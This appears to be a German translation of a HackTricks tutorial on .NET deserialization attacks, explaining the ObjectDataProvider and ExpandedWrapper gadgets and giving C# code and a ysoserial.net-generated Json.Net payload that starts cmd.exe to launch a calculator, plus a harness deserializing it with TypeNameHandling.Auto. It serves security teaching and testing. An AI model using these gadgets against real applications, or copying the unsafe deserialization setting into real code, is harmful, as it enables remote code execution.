Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Dieser Beitrag ist dediziert dem Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer missbraucht werden können.

ObjectDataProvider-Gadget

Aus der Dokumentation: Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können. Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu umschließen, MethodParameters zu verwenden, um beliebige Parameter festzulegen, und dann MethodName zu verwenden, um eine beliebige Funktion des beliebigen Objekts aufzurufen, die unter Verwendung der beliebigen Parameter deklariert wurde. Daher wird das beliebige Objekt eine Funktion mit Parametern ausführen, während es deserialisiert wird.

Wie ist das möglich

Der System.Windows.Data-Namespace, der in der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF gefunden wird, ist der Ort, an dem der ObjectDataProvider definiert und implementiert ist.

Mit dnSpy können Sie den Code der Klasse, an der wir interessiert sind, überprüfen. Im folgenden Bild sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Methodenname

Wie Sie sehen können, wenn MethodName festgelegt ist, wird base.Refresh() aufgerufen. Schauen wir uns an, was es tut:

Ok, schauen wir uns an, was this.BeginQuery() tut. BeginQuery wird von ObjectDataProvider überschrieben und das ist, was es tut:

Beachten Sie, dass am Ende des Codes this.QueryWorke(null) aufgerufen wird. Schauen wir uns an, was das ausführt:

Beachten Sie, dass dies nicht der vollständige Code der Funktion QueryWorker ist, aber es zeigt den interessanten Teil davon: Der Code ruft this.InvokeMethodOnInstance(out ex); auf, dies ist die Zeile, in der die festgelegte Methode aufgerufen wird.

Wenn Sie überprüfen möchten, dass nur durch Festlegen des MethodName es ausgeführt wird, können Sie diesen Code ausführen:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Hinweis: Sie müssen C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll als Referenz hinzufügen, um System.Windows.Data zu laden.

ExpandedWrapper

Unter Verwendung des vorherigen Exploits wird es Fälle geben, in denen das Objekt als eine ObjectDataProvider-Instanz deserialisiert wird (zum Beispiel bei der DotNetNuke-Schwachstelle, bei der das Objekt unter Verwendung von GetType deserialisiert wurde). Dann wird keine Kenntnis über den Objekttyp haben, der in der ObjectDataProvider-Instanz eingewickelt ist (Process zum Beispiel). Weitere Informationen zur DotNetNuke-Schwachstelle finden Sie hier.

Diese Klasse ermöglicht es, die Objekttypen der Objekte anzugeben, die in einer bestimmten Instanz eingekapselt sind. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters). Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, _ObjectDataProvider** in eine **ExpandedWrapper _Instanz einzuhüllen und beim Deserialisieren dieser Klasse das OjectDataProvider-Objekt zu erstellen, das die in MethodName angegebene Funktion ausführen wird.

Sie können diesen Wrapper mit folgendem Code überprüfen:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Auf der offiziellen Webseite wird angegeben, dass diese Bibliothek es ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider-Gadget deserialisieren könnten, könnten wir durch das Deserialisieren eines Objekts eine RCE verursachen.

Json.Net Beispiel

Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mithilfe dieser Bibliothek serialisiert/deserialisiert:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Ausnutzen von Json.Net

Unter Verwendung von ysoserial.net habe ich das Exploit erstellt:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In diesem Code können Sie den Exploit testen, führen Sie ihn einfach aus und Sie werden sehen, dass ein Taschenrechner ausgeführt wird:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated